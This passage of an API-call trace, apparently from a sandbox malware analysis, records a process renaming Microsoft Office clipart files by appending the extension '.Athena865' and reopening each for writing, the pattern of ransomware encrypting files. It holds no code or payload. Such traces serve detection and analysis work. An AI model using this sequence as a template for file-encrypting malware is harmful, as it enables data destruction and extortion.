office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.athena865"), dwFlags=0x1) returned 1 [0126.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35340) returned 1 [0126.867] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0179963.JPG" | out: lpString1="J0179963.JPG") returned="J0179963.JPG" [0126.867] lstrlenW (lpString="J0179963.JPG") returned 12 [0126.867] lstrlenW (lpString="Athena865") returned 9 [0126.867] lstrcmpiW (lpString1="79963.JPG", lpString2="Athena865") returned -1 [0126.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.Athena865") returned 73 [0126.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.athena865"), dwFlags=0x1) returned 1 [0126.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.870] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32110) returned 1 [0126.874] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0182689.JPG" | out: lpString1="J0182689.JPG") returned="J0182689.JPG" [0126.874] lstrlenW (lpString="J0182689.JPG") returned 12 [0126.874] lstrlenW (lpString="Athena865") returned 9 [0126.875] lstrcmpiW (lpString1="82689.JPG", lpString2="Athena865") returned -1 [0126.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.Athena865") returned 73 [0126.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.athena865"), dwFlags=0x1) returned 1 [0126.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.882] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16615) returned 1 [0126.885] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0182888.WMF" | out: lpString1="J0182888.WMF") returned="J0182888.WMF" [0126.885] lstrlenW (lpString="J0182888.WMF") returned 12 [0126.885] lstrlenW (lpString="Athena865") returned 9 [0126.885] lstrcmpiW (lpString1="82888.WMF", lpString2="Athena865") returned -1 [0126.886] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.Athena865") returned 73 [0126.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.athena865"), dwFlags=0x1) returned 1 [0126.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.887] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24392) returned 1 [0126.891] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0182898.WMF" | out: lpString1="J0182898.WMF") returned="J0182898.WMF" [0126.891] lstrlenW (lpString="J0182898.WMF") returned 12 [0126.891] lstrlenW (lpString="Athena865") returned 9 [0126.891] lstrcmpiW (lpString1="82898.WMF", lpString2="Athena865") returned -1 [0126.891] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.Athena865") returned 73 [0126.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.athena865"), dwFlags=0x1) returned 1 [0126.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.892] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15150) returned 1 [0126.895] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0182902.WMF" | out: lpString1="J0182902.WMF") returned="J0182902.WMF" [0126.896] lstrlenW (lpString="J0182902.WMF") returned 12 [0126.896] lstrlenW (lpString="Athena865") returned 9 [0126.896] lstrcmpiW (lpString1="82902.WMF", lpString2="Athena865") returned -1 [0126.896] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.Athena865") returned 73 [0126.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.athena865"), dwFlags=0x1) returned 1 [0126.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.897] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7822) returned 1 [0126.900] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0182946.WMF" | out: lpString1="J0182946.WMF") returned="J0182946.WMF" [0126.900] lstrlenW (lpString="J0182946.WMF") returned 12 [0126.900] lstrlenW (lpString="Athena865") returned 9 [0126.900] lstrcmpiW (lpString1="82946.WMF", lpString2="Athena865") returned -1 [0126.900] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.Athena865") returned 73 [0126.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.athena865"), dwFlags=0x1) returned 1 [0126.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.901] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16082) returned 1 [0126.905] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0183172.WMF" | out: lpString1="J0183172.WMF") returned="J0183172.WMF" [0126.905] lstrlenW (lpString="J0183172.WMF") returned 12 [0126.905] lstrlenW (lpString="Athena865") returned 9 [0126.905] lstrcmpiW (lpString1="83172.WMF", lpString2="Athena865") returned -1 [0126.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.Athena865") returned 73 [0126.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.athena865"), dwFlags=0x1) returned 1 [0126.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.907] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29788) returned 1 [0126.910] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0183174.WMF" | out: lpString1="J0183174.WMF") returned="J0183174.WMF" [0126.910] lstrlenW (lpString="J0183174.WMF") returned 12 [0126.910] lstrlenW (lpString="Athena865") returned 9 [0126.910] lstrcmpiW (lpString1="83174.WMF", lpString2="Athena865") returned -1 [0126.910] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.Athena865") returned 73 [0126.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.athena865"), dwFlags=0x1) returned 1 [0126.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.912] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28626) returned 1 [0126.918] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0183198.WMF" | out: lpString1="J0183198.WMF") returned="J0183198.WMF" [0126.918] lstrlenW (lpString="J0183198.WMF") returned 12 [0126.918] lstrlenW (lpString="Athena865") returned 9 [0126.918] lstrcmpiW (lpString1="83198.WMF", lpString2="Athena865") returned -1 [0126.919] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.Athena865") returned 73 [0126.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.athena865"), dwFlags=0x1) returned 1 [0126.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.926] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24430) returned 1 [0126.938] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0183574.WMF" | out: lpString1="J0183574.WMF") returned="J0183574.WMF" [0126.938] lstrlenW (lpString="J0183574.WMF") returned 12 [0126.938] lstrlenW (lpString="Athena865") returned 9 [0126.938] lstrcmpiW (lpString1="83574.WMF", lpString2="Athena865") returned -1 [0126.938] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.Athena865") returned 73 [0126.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.athena865"), dwFlags=0x1) returned 1 [0126.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.944] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19274) returned 1 [0126.950] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185670.WMF" | out: lpString1="J0185670.WMF") returned="J0185670.WMF" [0126.950] lstrlenW (lpString="J0185670.WMF") returned 12 [0126.950] lstrlenW (lpString="Athena865") returned 9 [0126.950] lstrcmpiW (lpString1="85670.WMF", lpString2="Athena865") returned -1 [0126.950] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.Athena865") returned 73 [0126.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.athena865"), dwFlags=0x1) returned 1 [0126.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.952] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7304) returned 1 [0126.955] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185774.WMF" | out: lpString1="J0185774.WMF") returned="J0185774.WMF" [0126.955] lstrlenW (lpString="J0185774.WMF") returned 12 [0126.963] lstrlenW (lpString="Athena865") returned 9 [0126.963] lstrcmpiW (lpString1="85774.WMF", lpString2="Athena865") returned -1 [0126.963] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.Athena865") returned 73 [0126.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.athena865"), dwFlags=0x1) returned 1 [0126.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.965] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20038) returned 1 [0126.972] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185776.WMF" | out: lpString1="J0185776.WMF") returned="J0185776.WMF" [0126.972] lstrlenW (lpString="J0185776.WMF") returned 12 [0126.972] lstrlenW (lpString="Athena865") returned 9 [0126.972] lstrcmpiW (lpString1="85776.WMF", lpString2="Athena865") returned -1 [0126.972] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.Athena865") returned 73 [0126.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.athena865"), dwFlags=0x1) returned 1 [0126.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.973] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27096) returned 1 [0126.977] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185778.WMF" | out: lpString1="J0185778.WMF") returned="J0185778.WMF" [0126.977] lstrlenW (lpString="J0185778.WMF") returned 12 [0126.977] lstrlenW (lpString="Athena865") returned 9 [0126.977] lstrcmpiW (lpString1="85778.WMF", lpString2="Athena865") returned -1 [0126.977] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.Athena865") returned 73 [0126.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.athena865"), dwFlags=0x1) returned 1 [0126.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.982] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25312) returned 1 [0126.995] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185780.WMF" | out: lpString1="J0185780.WMF") returned="J0185780.WMF" [0126.995] lstrlenW (lpString="J0185780.WMF") returned 12 [0126.995] lstrlenW (lpString="Athena865") returned 9 [0126.995] lstrcmpiW (lpString1="85780.WMF", lpString2="Athena865") returned -1 [0126.995] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.Athena865") returned 73 [0126.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.athena865"), dwFlags=0x1) returned 1 [0127.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=59734) returned 1 [0127.005] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185786.WMF" | out: lpString1="J0185786.WMF") returned="J0185786.WMF" [0127.005] lstrlenW (lpString="J0185786.WMF") returned 12 [0127.005] lstrlenW (lpString="Athena865") returned 9 [0127.005] lstrcmpiW (lpString1="85786.WMF", lpString2="Athena865") returned -1 [0127.005] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.Athena865") returned 73 [0127.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.athena865"), dwFlags=0x1) returned 1 [0127.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.008] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39330) returned 1 [0127.027] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185790.WMF" | out: lpString1="J0185790.WMF") returned="J0185790.WMF" [0127.028] lstrlenW (lpString="J0185790.WMF") returned 12 [0127.029] lstrlenW (lpString="Athena865") returned 9 [0127.029] lstrcmpiW (lpString1="85790.WMF", lpString2="Athena865") returned -1 [0127.029] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.Athena865") returned 73 [0127.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.athena865"), dwFlags=0x1) returned 1 [0127.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.036] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20662) returned 1 [0127.046] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185796.WMF" | out: lpString1="J0185796.WMF") returned="J0185796.WMF" [0127.046] lstrlenW (lpString="J0185796.WMF") returned 12 [0127.046] lstrlenW (lpString="Athena865") returned 9 [0127.046] lstrcmpiW (lpString1="85796.WMF", lpString2="Athena865") returned -1 [0127.046] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.Athena865") returned 73 [0127.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.athena865"), dwFlags=0x1) returned 1 [0127.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.047] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25868) returned 1 [0127.051] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0185798.WMF" | out: lpString1="J0185798.WMF") returned="J0185798.WMF" [0127.051] lstrlenW (lpString="J0185798.WMF") returned 12 [0127.052] lstrlenW (lpString="Athena865") returned 9 [0127.052] lstrcmpiW (lpString1="85798.WMF", lpString2="Athena865") returned -1 [0127.052] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.Athena865") returned 73 [0127.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.athena865"), dwFlags=0x1) returned 1 [0127.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.053] GetFileSizeEx 